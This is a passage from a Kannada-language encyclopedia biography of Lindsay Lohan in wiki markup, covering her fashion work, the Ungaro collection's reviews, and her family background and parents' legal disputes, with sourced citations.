ಮತ್ತು ಫ್ಯಾಷನ್ === 2005 ರಲ್ಲಿ ಲೋಹಾನ್ ಅವರಿಗೆ ''[[ಎಫ್‌ಹೆಚ್‌ಎಂ]]'' ಓದುಗರಿಂದ "100 ಸೆಕ್ಸೀಯಸ್ಟ್ ವುಮನ್" ಪಟ್ಟಿಯಲ್ಲಿ #10 ನೇ ಸ್ಥಾನಕ್ಕೆ ಮತ ಗಳಿಸಿದ್ದರು.<ref name="FHM">{{cite web |publisher=USAToday.com |title=Jolie sizzles atop ''FHM'' sexiest list |url=http://www.usatoday.com/life/people/2005-03-23-fhm-sexiest-women_x.htm?POE=LIFISVA |accessdate=September 29, 2006 }}</ref> ''[[ಮ್ಯಾಕ್ಸಿಮ್‌]]'' 2006 ಹಾಟ್ 100 ಪಟ್ಟಿಯಲ್ಲಿ ಇವರನ್ನು #3 ನೇ ಸ್ಥಾನದಲ್ಲಿರಿಸಿತ್ತು.<ref name="Maxim">{{cite web |publisher=maximonline.com |title=2006 Hot 100 |url=http://www.maximonline.com/slideshows/index.aspx?slideId=1908&imgCollectId=94&src=GM7070:MD |accessdate=March 18, 2007 }}</ref> 2007 ರಲ್ಲಿ, ಮ್ಯಾಕ್ಸಿಮ್ ಅವರ "ಹಾಟ್ 100" ಲೋಹಾನ್ ಅವರನ್ನು #1 ನೇ ಸ್ಥಾನದಲ್ಲಿರಿಸಿತ್ತು.<ref>{{cite web |publisher=[[CNN|CNN.com]] |title=Lindsay Lohan tops Maxim's 'Hot 100' |url=http://www.cnn.com/2007/SHOWBIZ/Movies/05/15/people.maximhot100.ap/index.html |accessdate=May 15, 2007 |archiveurl=https://web.archive.org/web/20070515145501/http://www.cnn.com/2007/SHOWBIZ/Movies/05/15/people.maximhot100.ap/index.html|archivedate=May 15, 2007}}</ref><ref>{{cite web |url=http://www.maximonline.com/Girls/Lindsaylohan/slideshow/1125/47.aspx?src=GM7070:MD |title=2007 Hot 100 — 1. Lindsay Lohan |archiveurl=https://web.archive.org/web/20071206005632/http://www.maximonline.com/Girls/Lindsaylohan/slideshow/1125/47.aspx?src=GM7070:MD |publisher=Maxim |archivedate=December 6, 2007 |accessdate=October 2, 2009 }}</ref> [[ಜಿಲ್ ಸ್ಟುವರ್ಟ್]], [[ಮಿಯು ಮಿಯು]], ಮತ್ತು [[ಡೂನಿ ಅಂಡ್ ಬೂರ್ಕಿ]] ಸೇರಿದಂತೆ 2008 ರ [[ವೀಸಾ]] ಸ್ವ್ಯಾಪ್ ಯುಕೆ ಫ್ಯಾಷನ್ ಕಾರ್ಯಾಚರಣೆಯಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಮುಖ್ಯ ಪಾತ್ರವಹಿಸಿದ್ದರು.<ref name="nydailynews.com">{{cite web |last=Boyko |first=Olga |url=http://www.nydailynews.com/lifestyle/fashion/2009/01/10/2009-01-10_lindsay_lohan_peddles_fornarina.html |title=Lindsay Lohan peddles Fornarina |location=New York |publisher=[[Daily News (New York)|Daily News]] |date=January 10, 2009 |accessdate=October 4, 2009 |archive-date=ಜನವರಿ 29, 2009 |archive-url=https://web.archive.org/web/20090129155120/http://nydailynews.com/lifestyle/fashion/2009/01/10/2009-01-10_lindsay_lohan_peddles_fornarina.html |url-status=dead }}</ref><ref>{{cite web |url=http://www.visaswap.com/face.html |title=Visa Swap |publisher=[[Visa Inc.|Visa Europe]] |year=2008 |accessdate=October 3, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TSVdYzl?url=http://www.visaeurope.com/en/visa_europe.aspx |url-status=dead }}</ref> ಇಟಲಿಯನ್ ಕ್ಲಾಥಿಂಗ್ ಕಂಪನಿ ಫೊರ್ನಾರಿನಾದ 2009 ರ ಸ್ಪ್ರಿಂಗ್/ಬೇಸಿಗೆ ಕಾರ್ಯಾಚರಣೆಯಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಮುಖ್ಯ ಪಾತ್ರವಾಗಿದ್ದರು.<ref name="nydailynews.com" /> ''ದಿ ಪೇರೆಂಟ್ ಟ್ರ್ಯಾಪ್'' ಚಿತ್ರೀಕರಣದ ಸಂದರ್ಭದಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ''[[ನಯಾಗರ]]'' ವನ್ನು ಅವರು ವೀಕ್ಷಿಸಿದಾಗ [[ಮರ್ಲಿನ್ ಮನ್ರೋ]] ಹಿಂದಕ್ಕೆ ತೆರಳುವಾಗ ಲೋಹಾನ್ ಅವರಿಗೆ ಹೆಚ್ಚಿನ ಮನ್ನಣೆ ಲಭಿಸಿತು. 2008 ರಲ್ಲಿ ''[[ನ್ಯೂ ಯಾರ್ಕ್‌]]'' ನ ''ಸ್ಪ್ರಿಂಗ್ ಫ್ಯಾಷನ್‌'' ನಲ್ಲಿ ನಗ್ನತೆಯು ಒಳಗೊಂಡಂತೆ ''[[ದಿ ಲಾಸ್ಟ್ ಸಿಟ್ಟಿಂಗ್]]'' ಎಂದು ಕರೆಯಲಾಗುವ ಮನ್ರೋ ಅವರ ಅಂತಿಮ ಫೋಟೋ ಶೂಟ್ ಅನ್ನು ಲೋಹಾನ್ ಅವರು ಮರುರಚಿಸಿದರು. ಫೋಟೋ ಚಿತ್ರೀಕರಣ ಮಾಡುವುದು ಒಂದು ಗೌರವವಿದ್ದಂತೆ ಎಂದು ಅವರು ಹೇಳಿದರು.<ref>{{cite web |url=http://media.nymag.com/fashion/08/spring/44247/ |title=Lindsay Lohan as Marilyn Monroe in "The Last Sitting" |quote=Photographs by [[Bert Stern]] |first=Amanda |last=Fortini |date=February 18, 2008 |publisher=[[New York (magazine)|NYmag.com]]}}</ref> ''[[ದಿ ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್‌]]'' ನ ವಿಮರ್ಶಕರಾದ [[ಗಿನಿಯಾ ಬೆಲ್ಲಾಫೆಂಟೆ]] ಅವರಿಗೆ ಇದು ತೊಂದರೆಯಂತೆ ಕಂಡುಬಂದಿತು: "ಚಿತ್ರಗಳು ವೀಕ್ಷಕರಿಗೆ ಒಂದು ರೀತಿಯ ಹುಸಿಯಾದ ಮರಣಭಯ ನೀಡುವಂತೆ ತೋರುತ್ತದೆ.&nbsp;... 21 ರ ವಯಸ್ಸಿನಲ್ಲಿ [ಲೋಹಾನ್] ಮನ್ರೋಗಿಂತಲೂ ವಯಸ್ಸಾದವರಂತೆ ತೋರುತ್ತದೆ ಅವರಿಗೆ ಮೂಲವಾಗಿ 36 ಆಗಿತ್ತು... [ಮತ್ತು] "ಛಾಯಾಚಿತ್ರಗಳಲ್ಲಿ ಯಾವುವೂ ಮನ್ರೋರ ಸೂಕ್ಷ್ಮತೆಯನ್ನು ಬಿಂಬಿಸುವಂತೆ ತೋರುವುದಿಲ್ಲ".<ref>{{cite web |last=Bellafante |first=Ginia |url=https://www.nytimes.com/2008/02/21/arts/21loha.htm |title=Lohan Assumes the Pose: Monroe’s Final Sitting |publisher=The New York Times |date=February 21, 2008 |accessdate=October 25, 2009 }}</ref> 2008 ರಲ್ಲಿ ಲೋಹಾನ್ ಅವರು ಲೆಗ್ಗಿಂಗ್ ಲೈನ್ ಅನ್ನು ಉದ್ಘಾಟಿಸಿದರು, ಅದರ ಹೆಸರು ''6126'' ಮನ್ರೋ ಅವರ ಜನ್ಮ ದಿನಾಂಕ (ಜೂನ್ 1, 1926) ವನ್ನು ಸೂಚಿಸುವಂತೆ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿತ್ತು. ಏಪ್ರಿಲ್ 2009 ರಲ್ಲಿ ಇವರು [[ಸೆಫೋರಾ]] ಸಹಯೋಗದೊಂದಿಗೆ ''ಸೆವಿನ್ ನೈನ್'' ಬ್ರ್ಯಾಂಡ್ ಹೆಸರಿನ ಅಡಿಯಲ್ಲಿ [[ಸೆಲ್ಫ್-ಟ್ಯಾನಿಂಗ್]] ಸ್ಪ್ರೇಯನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದರು.<ref>{{cite web |url=http://www.etonline.com/news/2008/07/63388/index.html |title=Lindsay Lohan's Leggings Now on Sale |access-date=2010-03-09 |archive-date=2008-07-20 |archive-url=https://web.archive.org/web/20080720185318/http://www.etonline.com/news/2008/07/63388/index.html |url-status=dead }}</ref><ref>{{cite web |url=http://www.eonline.com/uberblog/b121671_lindsay_very_happy_in_touch_with.html |title=Lindsay "Very Happy," "in Touch" With Samantha |date=May 1, 2009 |quote=the launch of her Sevin Nyne spray-tanning line in Santa Monica last night. }}</ref><ref>{{cite web |url=http://www.telegraph.co.uk/health/5256949/Lindsay-Lohans-new-fake-tan-sunshine-in-a-bottle.html |title=Lindsay Lohan's new fake tan: sunshine in a bottle |date=May 5, 2009 |access-date=ಮಾರ್ಚ್ 9, 2010 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TSXoZ31?url=http://www.telegraph.co.uk/health/5256949/Lindsay-Lohans-new-fake-tan-sunshine-in-a-bottle.html |url-status=dead }}</ref> ಸೆಪ್ಟೆಂಬರ್ 9, 2009 ರಂದು ಫ್ರೆಂಚ್ ಫ್ಯಾಷನ್ ಹೌಸ್ [[ಇಮ್ಯಾನ್ಯುಯಲ್ ಉಂಗಾರೊ]]ಗಾಗಿ ಲೋಹಾನ್ ಅವರನ್ನು ಕಲಾತ್ಮಕತೆಯ ಸಲಹೆಗಾರರೆಂದು ಘೋಷಿಸಲಾಯಿತು.<ref>{{cite news |url=http://www.washingtontimes.com/news/2009/sep/09/lindsay-lohan-joins-ungaro-artistic-adviser/ |title=Lindsay Lohan joins Ungaro as artistic adviser |publisher=Associated Press |date=September 9, 2009 |accessdate=October 28, 2009 }}</ref> ಲೋಹಾನ್ ಅವರು ಸಲಹೆಗಾರಿಕೆಯೊಂದಿಗೆ ವಿನ್ಯಾಸಕರಾದ [[ಎಸ್ಟ್ರೆಲ್ಲಾ ಆರ್ಕ್ಸ್‌]] ಅವರ ಮೊದಲ ಸಂಗ್ರಹವನ್ನು ಅಕ್ಟೋಬರ್ 4 ರಂದು ಪ್ರದರ್ಶಿಸಲಾಯಿತು. ''[[ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ವೀಕ್ಲಿ]]'' ಮತ್ತು ''[[ನ್ಯೂ ಯಾರ್ಕ್]]'' ಫ್ಯಾಷನ್ ಜಗತ್ತಿನ ಸ್ವಾಗತವನ್ನು "ಹಾನಿಕಾರಕ" ಎಂದು ವಿವರಿಸಿತು.<ref name="ewungaro">{{cite web |url=http://popwatch.ew.com/2009/10/05/lindsay-lohans-disastrous-paris-debut/ |title=Quelle horreur! Lindsay Lohan's disastrous Paris debut |date=October 5, 2009 |author=Missy Schwartz |publisher=[[Entertainment Weekly]] |accessdate=October 28, 2009 }}</ref><ref name="nyungaro">{{cite web |url=http://nymag.com/daily/fashion/2009/10/lindsay_lohans_ungaro_debut_de.html |title=Lindsay Lohan’s Ungaro Debut Deemed Disastrous |date=October 5, 2009 |author=Amy Odell |publisher=New York Magazine |accessdate=October 28, 2009 }}</ref> ಫ್ಯಾಷನ್ ವ್ಯಾಪಾರಿ ಜರ್ನಲ್ ''[[ಡಬ್ಲ್ಯುಡಬ್ಲ್ಯುಡಿ]]'' ಸಂಗ್ರಹವನ್ನು "ಒಂದು ನಾಚಿಕೆಗೇಡು" ಎಂದಿತು, [[Style.com]] "ಒಂದು ತಪ್ಪಾದ ಹಾಸ್ಯ" ಎಂದಿತು ಮತ್ತು ''[[ದಿ ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್]]'' ಲೋಹಾನ್ ಅವರ ಕೆಲಸವನ್ನು "ಒಬ್ಬ ಮ್ಯಾಕ್‌ಡೊನಾಲ್ಡ್‌ನ ಫ್ರೈ ಕುಕ್ ಒಂದು ತ್ರೀ ಸ್ಟಾರ್ ಮೈಕೆಲಿನ್ ರೆಸ್ಟೋರೆಂಟ್‌ನ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಂಡಂತಿದೆ" ಎಂದು ಹೋಲಿಸಿತು.<ref name="nyungaro" /><ref>{{cite web |url=http://www.style.com/fashionshows/review/S2010RTW-UNGARO |title=Emanuel Ungaro |date=October 4, 2009 |author=Nicole Phelps |publisher=Style.com |accessdate=October 28, 2009 }}</ref><ref>{{cite web |url=https://www.nytimes.com/2009/10/05/fashion/shows/05lohan.html |title=A Controversial Debut for Lohan in Paris |date=October 4, 2009 |author=Eric Wilson |publisher=[[New York Times]] |accessdate=October 28, 2009 }}</ref> ತೀಕ್ಷ್ಣ ಟೀಕೆಗಳ ನಡುವೆಯೂ "ವಿನ್ಯಾಸಗಳು ಉತ್ತಮವಾಗಿ ಮಾರಾಟವಾಗುತ್ತಿವೆ ಆದರೆ ನಿರೀಕ್ಷಿಸಿದಷ್ಟು ಅಲ್ಲ" ಎಂದು ಉಂಗಾರೊ ಅಧ್ಯಕ್ಷ ಮೌಫರಿಗೆ ಅವರು ನವೆಂಬರ್‌ನಲ್ಲಿ [[ರ‌್ಯೂಟರ್ಸ್‌]]ಗೆ ಹೇಳಿದರು.<ref>{{cite web |url=http://www.reuters.com/article/entertainmentNews/idUSTRE5AN3RT20091124 |title=Lohan to stay on at Ungaro fashion house, despite criticism |date=November 24, 2009 | publisher=Reuters | accessdate=December 6, 2009 }}</ref> == ವೈಯಕ್ತಿಕ ಜೀವನ == === ಕುಟುಂಬದ ಹಿನ್ನೆಲೆ ಮತ್ತು ಶಿಕ್ಷಣ === ಲೋಹಾನ್ ಅವರು ಜುಲೈ 2, 1986 ರಲ್ಲಿ ನ್ಯೂ ಯಾರ್ಕ್ ನಗರದಲ್ಲಿ ಜನಿಸಿದರು ಮತ್ತು [[ನ್ಯೂ ಯಾರ್ಕ್‌]]ನಲ್ಲಿನ [[ಲಾಂಗ್ ಐಲ್ಯಾಂಡ್‌]]ನ [[ಮೆರಿಕ್]] ಮತ್ತು [[ಕೋಲ್ಡ್ ಸ್ಪ್ರಿಂಗ್ ಹಾರ್ಬರ್‌]]ನಲ್ಲಿ ಬೆಳೆದರು.<ref name="cnntranscript20080727" /><ref name="nytimesmerrick20080727">{{cite web |url=http://query.nytimes.com/gst/fullpage.html?res=9A02E0DC1E38F934A3575AC0A9659C8B63&partner=rssnyt&emc=rss |title=PULSE: WHAT I'M WEARING NOW; The Teenage Film Star |publisher=The New York Times |last=Tung |first=Jennifer |date=September 7, 2003 |accessdate=July 27, 2008 |quote=In real life, Ms. Lohan and her own mother, Dina Lohan, are much more compatible, especially when it comes to clothes.&nbsp;... Ms. Lohan, 17, lives in Merrick, on Long Island, when she is not filming. }}</ref> ಇವರು [[ಡೊನೇಟಾ "ಡಿನಾ"]] ([[ನೀ]] ಸುಲ್ಲಿವನ್) ಮತ್ತು [[ಮೈಕೇಲ್ ಲೋಹಾನ್]] ಅವರ ಹಿರಿಯ ಮಗಳು. ಲೋಹಾನ್ ಅವರಿಗೆ ಮೂರು ಜನ ಚಿಕ್ಕ ಒಡಹುಟ್ಟಿದವರು, ಅವರಲ್ಲಿ ಎಲ್ಲರೂ ಮಕ್ಕಳ ಮಾಡೆಲ್‌ಗಳು: ಮೈಕೇಲ್ ಜೂನಿಯರ್, ಅವರು ಲೋಹಾನ್ ಅವರೊಂದಿಗೆ ''ದಿ ಪೇರೆಂಟ್ ಟ್ರ್ಯಾಪ್‌'' ನಲ್ಲಿ ಗೋಚರಿಸಿದ್ದಾರೆ, ಸಹೋದರಿ [[ಅಲಿಯಾನಾ]] ("ಅಲಿ")ಸಹ ನಟಿ, ಮತ್ತು ಡಕೋಟಾ ("ಕೋಡಿ") ಅತ್ಯಂತ ಕಿರಿಯ ಲೋಹಾನ್ ಮಗು. ಲೋಹಾನ್ ಅವರು [[ಐರಿಶ್]] ಮತ್ತು [[ಇಟ್ಯಾಲಿಯನ್]] ವಂಶದವರು ಮತ್ತು [[ಕ್ಯಾಥೊಲಿಕ್]] ಆಗಿ ಬೆಳೆದವರು.<ref name="wills" /> ಇವರ ತಾಯಿಯ ಕಡೆಯವರು ಮೆರಿಕ್‌ನಲ್ಲಿ "ಹೆಸರುವಾಸಿ ಐರಿಶ್ ಕ್ಯಾಥೊಲಿಕ್ ಕಟುನಿಷ್ಠೆಯ ಅನುಯಾಯಿಗಳು", ಅವರ ಮುತ್ತಾತ, ಜಾನ್ ಎಲ್ ಸುಲ್ಲಿವನ್ ಅವರು ಲಾಂಗ್ ಐಲ್ಯಾಂಡ್‌ನಲ್ಲಿ [[ಪ್ರೋ-ಲೈಫ್]] ಪಾರ್ಟಿಯ ಸಹ-ಸ್ಥಾಪಕರಾಗಿದ್ದರು. ಲೋಹಾನ್ ಅವರು ಲಾಂಗ್ ಐಲ್ಯಾಂಡ್‌ನಲ್ಲಿ [[ಕೋಲ್ಡ್ ಸ್ಪ್ರಿಂಗ್ ಹಾರ್ಬರ್ ಹೈ ಸ್ಕೂಲ್]] ಅನ್ನು ಕಳೆದರು, ಇಲ್ಲಿಯೇ ಅವರು [[ಚೀರ್‌ಲೀಡಿಂಗ್]] ಮಾಡಿದರು ಮತ್ತು [[ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್]], [[ಸಾಕ್ಕರ್]] ಮತ್ತು ಅವರನ್ನು "[[ಜಾಕ್]]" ಎಂದು ವಿವರಿಸಿಕೊಳ್ಳುತ್ತಾ [[ಲ್ಯಾಕ್‌ರೋಸ್ಸಿ]] ಆಟಗಳನ್ನು ಆಡಿದರು.<ref>{{cite web |publisher=Interview |title=Lindsay Lohan |author=Ingrid Sischy |url=http://findarticles.com/p/articles/mi_m1285/is_5_36/ai_n26878443/ |date=June 2006 |accessdate=November 23, 2009 |quote=I was a total jock. Growing up on Long Island [in New York], I played basketball, soccer, lacrosse, and at the same time I did cheerleading }}</ref> ಇವರು ಹೋಂಸ್ಕೂಲಿಂಗ್ ಪ್ರಾರಂಭಿಸುವ ಹೊತ್ತಿಗೆ ಹೈ ಸ್ಕೂಲ್‌ನ ಗ್ರೇಡ್ 11 ರವರೆಗೆ ಹೋದರು.<ref name="rising">{{cite web |publisher=Interview |title=Lindsay Lohan: One of the movies' biggest rising stars goes on the record |author=Lynda Obst |url=http://www.findarticles.com/p/articles/mi_m1285/is_5_34/ai_n6041484 |date=June 2004 |accessdate=August 25, 2009 |quote=Did you even get to go to high school? ... Yes. Up until the 11th grade, when I started home-schooling. |archive-date=ಏಪ್ರಿಲ್ 29, 2008 |archive-url=https://web.archive.org/web/20080429133107/http://findarticles.com/p/articles/mi_m1285/is_5_34/ai_n6041484 |url-status=dead }}</ref> ಲೋಹಾನ್ ಅವರ ಪೋಷಕರು ಗಲಭೆಯ ಇತಿಹಾಸವನ್ನು ಹೊಂದಿದ್ದರು. ಅವರು 1985 ರಲ್ಲಿ ವಿವಾಹವಾದರು, ಇವರು ಮೂರು ವರ್ಷದವರಿರುವಾಗ ಅವರಿಬ್ಬರೂ ಬೇರೆಯಾದರು, ಹಾಗೂ ನಂತರ ಒಂದಾದರು.<ref name="ap20070806">{{cite news |title=Lohan parents’ divorce heats up on Long Island |publisher=Associated Press |date=August 6, 2007 |url=http://www.msnbc.msn.com/id/20152244/ |accessdate=November 12, 2008 |archive-date=ಆಗಸ್ಟ್ 28, 2009 |archive-url=https://web.archive.org/web/20090828073418/http://www.msnbc.msn.com/id/20152244/ |url-status=dead }}</ref><ref>{{harvnb|Peretz|2006|p=}}. "ಲಿಂಡ್ಸೆ ಅವರು ಕೇವಲ ಮೂರು ವರ್ಷದವರಿದ್ದಾಗ, ದಿನಾ ಮತ್ತು ಮೈಕೇಲ್ ಅವರು ಬೇರ್ಪಡೆಯಾದರು ... ಆದರೆ, ಪ್ರೀತಿಯಲ್ಲಿರುವ ಹಲವಾರು ಯುವ ಜನರಂತೆಯೆ, ದಿನಾ ಅವರು ಸ್ವಲ್ಪ ದಿನಗಳವರೆಗೆ ತಮ್ಮ ಪತಿಯನ್ನು ಹಿಂದಕ್ಕೆ ಕರೆದಿದ್ದರು."</ref> ಅವರ ತಂದೆಯು ಕಾನೂನಿನಲ್ಲಿ ಪದೇ ಪದೇ ತೊಂದರೆ ಅನುಭವಿಸುತ್ತಿದ್ದರು. ಅವರು 1980 ರ ಕೊನೆಯಲ್ಲಿ [[ವಾಲ್ ಸ್ಟ್ರೀಟ್‌]]ನ ವ್ಯಾಪಾರಿಯಾಗಿದ್ದರು, ಇವರನ್ನು [[ಶೇರು ಅವ್ಯವಹಾರ]]ದಲ್ಲಿ ನಾಲ್ಕು ವರ್ಷಗಳ ಕಾಲ ಅವರಾಧ ವಿಧಿಸಲಾಗಿತ್ತು.<ref name="ap20070806" /> 1998 ರಲ್ಲಿ [[ಪರೀಕ್ಷಾರ್ಥ ಶಿಕ್ಷೆ]]ಯ ಉಲ್ಲಂಘನೆಗೆ ಮತ್ತು 2000 ರಲ್ಲಿ ಅವರ ಮಕ್ಕಳನ್ನು ನೋಡಲು ಹೋಗಿ ನಿಯಮ ಉಲ್ಲಂಘಿಸಿದ್ದಕ್ಕಾಗಿ ಇವರು ಜೈಲಿಗೆ ತೆರಳಿದ್ದರು.<ref name="ap20070806">2005 ರಲ್ಲಿ , "ತೀವ್ರವಾದ ಪರವಾನಗಿರಹಿತ ಚಾಲನೆ" ಮತ್ತು [[ಆಕ್ರಮಣ]] ಪ್ರಯತ್ನಕ್ಕಾಗಿ ಅವರನ್ನು ಎರಡು ವರ್ಷಗಳ ಕಾಲ ಜೈಲಿನಲ್ಲಿರಿಸಲಾಗಿತ್ತು.</ref><ref name="michael_02">{{cite web |publisher=Fox News Network |title=Lindsay Lohan's Dad Gets Prison Sentence |url=http://www.foxnews.com/story/0,2933,157984,00.html |accessdate=July 3, 2006 }}</ref><ref>{{cite web |url=http://people.monstersandcritics.com/news/article_1321592.php/Lohan_family_war_9_11_fraud_and_Lindsay_assets_tug_of_war |title=Lohan family war: 9/11 fraud and Lindsay assets tug of war |accessdate=August 15, 2007 |author=Stone Martindale |date=June 23, 2007 |publisher=[[Monsters and Critics]] |archive-date=ಆಗಸ್ಟ್ 12, 2007 |archive-url=https://web.archive.org/web/20070812025428/http://people.monstersandcritics.com/news/article_1321592.php/Lohan_family_war_9_11_fraud_and_Lindsay_assets_tug_of_war |url-status=dead }}</ref> ಡಿಸೆಂಬರ್ 2005 ರಲ್ಲಿ, ಮೈಕೇಲ್ ಮತ್ತು ದಿನಾ ಲೋಹಾನ್ ಅವರು ಬೇರ್ಪಡೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದರು.<ref>{{cite web |url=http://www.newsday.com/news/local/longisland/ny-enloha081007,0,5539656.story?coll=ny_home_rail_headlines |title=Lohan case illustrates flawed state system |accessdate=August 15, 2007 |author=Katie Thomas |date=August 10, 2007 |publisher=[[Newsday]] }}</ref> ''[[ವ್ಯಾನಿಟಿ ಫೇರ್]]'' ಪ್ರಕಾರ, ಮೈಕೇಲ್ ಅವರು ಕಾನೂನು ಪತ್ರಗಳಲ್ಲಿ ಬೆದರಿಕೆಗಳು ಮತ್ತು ಆಂತರಿಕ ದುರುಪಯೋಗಪಡಿಸಿಕೊಂಡರು ಎಂದು ದಿನಾ ಲೋಹಾನ್ ಅವರು ದೂರಿದರು.<ref>{{harvnb|Peretz|2006|p=}}. "2005 ರ ಪ್ರಾರಂಭದಲ್ಲಿ ದಿನಾ ಅವರು ವಿವಾಹದ 19 ವರ್ಷಗಳ ನಂತರ ಅಂತಿಮವಾಗಿ ವಿಚ್ಛೇದನಕ್ಕೆ ಮನವಿ ಸಲ್ಲಿಸಿದರು. ಕಾನೂನು ಪತ್ರಗಳಲ್ಲಿನ ದೂಷಣೆಯಲ್ಲಿ, ಮೈಕೇಲ್ ಅವರು ಇವರನ್ನು ಮೆಟ್ಟಿಲುಗಳ ಮೇಲಿನಿಂದ ನೂಕಿದ್ದರು, ಮತ್ತು ಕುಟುಂಬದವರನ್ನು ಕೊಲ್ಲುವುದಾಗಿ ಬೆದರಿಕೆ ಹಾಕಿದ್ದರು ಎಂದು ಹೇಳಿದ್ದರು. 'ಒ.ಜೆ. ಸಿಂಪ್ಸನ್ ನನಗೆ ಏನೂ ಇಲ್ಲ' ಎಂದು ಅವರು ಹೇಳಿದ್ದರು ಎಂದು ಅವರು ಹೇಳಿದ್ದಾರೆ. 'ನಾನು [ಅವರನ್ನು] ಹೇಗೆ ಕೊಲ್ಲಲಿದ್ದೇನೆ ಎಂದು ನನಗೆ ಸ್ಪಷ್ಟವಾಗಿ ತಿಳಿದಿದೆ. ಅದನ್ನು ನಾನು ಯಾವಾಗ ಮಾಡಲಿದ್ದೇನೆ ಎಂದು ನನಗೆ ತಿಳಿದಿದೆ ಮತ್ತು ನಾನು ಇದರಿಂದ ಖುಷಿ ಪಡೆಯಲಿದ್ದೇನೆ.' ... ಡಿಸೆಂಬರ್‌ನಲ್ಲಿ, ಲೋಹಾನ್ಸ್ ಅವರು ವಿಚ್ಛೇದನಕ್ಕೆ ಬದಲಾಗಿ ಕಾನೂನು ಬೇರ್ಪಡೆಯನ್ನು ಆರಿಸಿಕೊಂಡರು."</ref> ಇದಕ್ಕೆ ಪ್ರತಿಯಾಗಿ ಮೈಕೇಲ್ ಲೋಹಾನ್ ಅವರು ಮಾಧ್ಯಮದ ಮೂಲಕ ಡಿನಾ ಅವರು ಲಿಂಡ್ಸೆ ಅವರೊಂದಿಗೆ ಕುಡಿಯುವುದು ಮತ್ತು ಮಾದಕದ್ರವ್ಯ ವ್ಯಸನಿ ಎಂದು ಪರೋಕ್ಷವಾಗಿ ತಿಳಿಸಿದರು.<ref name="ap20070806" /> 2007 ರಲ್ಲಿ ಲೋಹಾನ್ ಅವರ ಪೋಷಕರು ತಮ್ಮ ವಿವಾಹವಿಚ್ಛೇದವು ಅಂತಿಮವಾಗಿದೆ ಎಂದು ಘೋಷಿಸಿದರು.<ref>{{cite web |url=http://news.bbc.co.uk/2/hi/entertainment/6953075.stm |title=Lohan's parents end divorce row |accessdate=August 19, 2007 |date=August 18, 2007 |publisher=[[BBC News]] }}</ref> ಲೋಹಾನ್ ಅವರು 2007 ರಲ್ಲಿ ತಮ್ಮ ಬಾಲ್ಯಜೀವನದ ಬಗ್ಗೆ ಮಾತನಾಡಿದರು: "ನನ್ನ ಕುಟುಂಬವು ಮುಂದೆ ಬರುವಲ್ಲಿ ನಾನು ಸಹಾಯ ಮಾಡಿದ್ದಕ್ಕೆ ಎರಡನೇ ಪೋಷಕಳಂತೆ ನಾನು ಭಾವಿಸುತ್ತೇನೆ." ... "ನಾನು ನನ್ನ ತಾಯಿ ಮತ್ತು ತಂದೆಯರ ನಡುವೆ ಇದ್ದೆ. ಒಳ್ಳೆಯದು, ಶಾಂತವಾಗಿರಲು ನಾನು ನನ್ನನ್ನು ಅವರ ಮಧ್ಯೆ ಇರಿಸಿಕೊಂಡಿದ್ದೆ, ಹಾಗೂ ಆ ರೀತಿ ಮಾಡುವಲ್ಲಿ ನನಗೆ ಒಳ್ಳೆಯದು ಎನ್ನಿಸಿತು."<ref>{{harvnb|Bachrach|2007|p=}}.</ref> ಹಲವಾರು ಸಂಘರ್ಷಗಳ ಮಧ್ಯೆಯೂ, ಲೋಹಾನ್ ಅವರು ತಮ್ಮನ್ನು "ಒಬ್ಬ ಕುಟುಂಬದ ಹುಡುಗಿ" ಎಂದು ಕರೆದುಕೊಳ್ಳುತ್ತಾರೆ ಮತ್ತು ತಮ್ಮ ಕುಟುಂಬದ ಕುರಿತು ಅವರ ತಂದೆ ಸೇರಿದಂತೆ ಹೆಚ್ಚು ಮಮತೆಯಿಂದ ಹೇಳುತ್ತಾರೆ.<ref>{{harvnb|Apodaca|2008|p=}}. {{" '}}ನಾನು ಒಬ್ಬ ಕುಟುಂಬದ ಹುಡುಗಿ. ನನ್ನ ಕುಟುಂಬವನ್ನು ನಾನು ಪ್ರೀತಿಸುತ್ತೇನೆ. ನಾನು ಸಾಯುವವರೆಗೆ ಅವರನ್ನು ಪ್ರೀತಿಸುತ್ತೇನೆ. ಅವರೆಲ್ಲಾ ವಿಸ್ಮಯದವರು, ಮತ್ತು ಅದನ್ನು ಯಾರಿಂದಲೂ ತೆಗೆದುಕೊಳ್ಳಲು ಸಾಧ್ಯವಿಲ್ಲ.{{' "}}</ref><ref>{{cite news |last=Binelli |first=Mark |title=Confessions of a Teenage Drama Queen |publisher=Rolling Stone |date=August 19, 2004 |quote=... the best dad. He's the most loving, kind person you could ever meet.}}</ref> ಆದಾಗ್ಯೂ 2007 ರಲ್ಲಿ ಮತ್ತು 2008 ರಲ್ಲಿ ಅವರೊಂದಿಗೆ ಸಂಪರ್ಕದಲ್ಲಿಲ್ಲ ಮತ್ತು ಅವರು ಊಹಿಸಲಾಗದ ವರ್ತನೆಯನ್ನು ನಿಭಾಯಿಸುವುದು ತುಂಬಾ ಕಷ್ಟ ಎಂದು ವಿವರಿಸುತ್ತಾ ಈ ರೀತಿ ತಿಳಿಸಿದ್ದರು.<ref>{{harvnb|Bachrach|2007|p=}}. "... ಅವರ ತಂದೆ ಪಾತ್ರದ ಗಾಳಿ ಸುದ್ದಿಗಳು. 'ಅವರೊಂದಿಗೆ ನಾನು ಮಾತನಾಡುವುದಿಲ್ಲ, ಅವಳು ನನಗೆ ಹೇಳುತ್ತಾಳೆ."</ref><ref>{{harvnb|Kaylin|2008|p=}}. 'ಬೆಳೆದಿದೆ ಎಂದು ಅವರ ತಂದೆ ತೀರ್ಮಾನಿಸುವವರೆಗೆ, ' "ಅವಳು ತಂದೆಯೊಂದಿಗೆ ಸಂಪರ್ಕವನ್ನು ನಿಲ್ಲಿಸಿದ್ದಾಳೆ. ಕುಟುಂಬ 